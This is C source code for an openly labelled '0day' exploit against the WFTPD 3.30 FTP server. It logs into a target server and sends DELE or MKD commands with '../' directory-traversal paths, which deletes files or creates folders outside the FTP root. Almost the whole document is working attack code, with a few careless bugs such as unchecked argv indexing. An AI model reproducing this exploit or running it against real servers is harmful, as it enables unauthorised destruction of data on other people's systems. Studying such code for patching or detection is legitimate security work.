#include<stdio.h>
#include<sys/types.h>
#include<sys/socket.h>
#include<netinet/in.h>
#include<unistd.h>

#define ALOC(tip,n) (tip*)malloc(sizeof(tip)*n)
#define POCNAME "[*]WFTPD 3.30 Multiple remote vulnerabilities(0day)"
#define AUTHOR "[*]fl0 fl0w"
   typedef int i32;
   typedef char i8;
   typedef short i16;
   enum {
        True=1,
        False=0,
        Error=-1        
   };
     struct {
          i8 *USERx,
             *PASSx,
             *HOST;
          i16 PORTx;
   }def;
   i8 *USER=0,*PASS=0,*dir=0,*host_addr=0,
      sendbytes[250],recev[250];
   i16 PORT=0,option;
        i32 args(i32 argc,i8** argv){ 
             i32 i;
             argc--;
             for(i=1;i<argc;i++){
                 switch(argv[i][1]){
                        case 'h':
                               host_addr=argv[++i];
                               break;            
                        case 'u': 
                               USER=argv[++i];  
                               break;
                        case 'w':
                               PASS=argv[++i];
                               break; 
                        case 'p':     
                               PORT=atoi(argv[++i]);                     
                               break;
                        case 'o':
                               option=atoi(argv[++i]);
                               break;       
                        default:{
                               printf("error with argument nr %d:(%s)\n",i,argv[i]);
                               return Error;
                               exit(0);  
                        }       
               }   
           }
          // printf(" %s\n %s\n %s\n %d\n %d\n %s\n",host_addr,USER,PASS,PORT,option,argv[argc]); 
           return 1;
      }
        void bf_error(i8* B){
              i32 e;
             if(B==NULL)
               e=0;   
               else
                   e=1;  
        }
        void syntax(){ 
             i8 *help[]={"\t-h hostname",
                        "\t-u Username",
                        "\t-w watchword(password)",
                        "\t-p port(default 21)",
                        "\t-o option:", 
                        "\t   1 - delete folder,files",
                        "\t   2 - make folder",
                        "\t   ../ move up 1 dir ../../ move up 2 dirs etc"
                        /*directory transversal*/
                };
                i32 i;
                size_t com=sizeof help / sizeof help[0];
                for(i=0;i<com;i++){
                   printf("%s\n",help[i]);  
               } 
        } 
        void defaults(){ 
             def.HOST="localhost";
             def.PASSx="hacker"; 
             def.USERx="anonymous";
             def.PORTx=21;
             //printf("%s %s %s %d",def.HOST,def.PASSx,def.USERx,def.PORTx);
        }
        i32 main(i32 argc,i8** argv){
            if(argc<3){
               printf("%s\n%s\n",POCNAME,AUTHOR);        
               printf("\tToo few arguments\n syntax is:\n");
               syntax();
               exit(0);        
            }
            args(argc,argv);
            i32 sok,
                svcon,
                sokaddr;
            printf("[*]Starting \n \t...\n");    
            struct sockaddr_in sockaddr_sok;
            sokaddr = sizeof(sockaddr_sok);
    		sockaddr_sok.sin_family = AF_INET;
	    	sockaddr_sok.sin_addr.s_addr = inet_addr(host_addr);
		    sockaddr_sok.sin_port = htons(PORT);
		    sok=socket(AF_INET,SOCK_STREAM,0);
                        if(sok==-1){
                          printf("[*]FAILED SOCKET\n");
		                  exit(0);
                       }
       	    svcon=connect(sok,(struct sockaddr*)&sockaddr_sok,sokaddr);
            i8 use[10];
            if(svcon!=-1){
               sprintf(sendbytes, "USER %s\r\n",USER);      
                       if(send(sok,sendbytes,strlen(sendbytes),0) == -1){
                          printf("User send error\n");                                        
                          shutdown(sok,1);
                          exit(0);
                       }else {
                                memset(sendbytes,0,250);
                                recv(sok,recev,sizeof(recev),0);  
                          }   
                               
               sprintf(sendbytes, "PASS %s\r\n",PASS);      
                       if(send(sok,sendbytes,strlen(sendbytes),0) == -1){
                          printf("Password send error\n");                                        
                          shutdown(sok,1);
                          exit(0);
                       }else {
                                memset(sendbytes,0,250);
                                recv(sok,recev,sizeof(recev),0);  
                                printf("%s\n",recev);
                          }                                         
               sprintf(sendbytes, "SYST\r\n");      
                       if(send(sok,sendbytes,strlen(sendbytes),0) == -1){
                          printf("Syst send error\n");                                        
                          shutdown(sok,1);
                          exit(0);
                       }else {
                                memset(sendbytes,0,250);
                                recv(sok,recev,sizeof(recev),0);  
                          } 
                     if(option==1){                  
                 sprintf(sendbytes,"DELE %s\r\n",argv[11]);      
                       if(send(sok,sendbytes,strlen(sendbytes),0) == -1){
                          printf("Syst send error\n");                                        
                          shutdown(sok,1);
                          exit(0);
                       }else {
                                memset(sendbytes,0,250);
                                recv(sok,recev,sizeof(recev),0);  
                          }        
                     }else if(option==2){
                           sprintf(sendbytes,"MKD %s\r\n",argv[11]);      
                       if(send(sok,sendbytes,strlen(sendbytes),0) == -1){
                          printf("Syst send error\n");                                        
                          shutdown(sok,1);
                          exit(0);
                       }else {
                                memset(sendbytes,0,250);
                                recv(sok,recev,sizeof(recev),0);  
                        }        
                        }
            }else printf("Connect error\n");
              printf("[*]Exploit done!");
            return 0;
        }
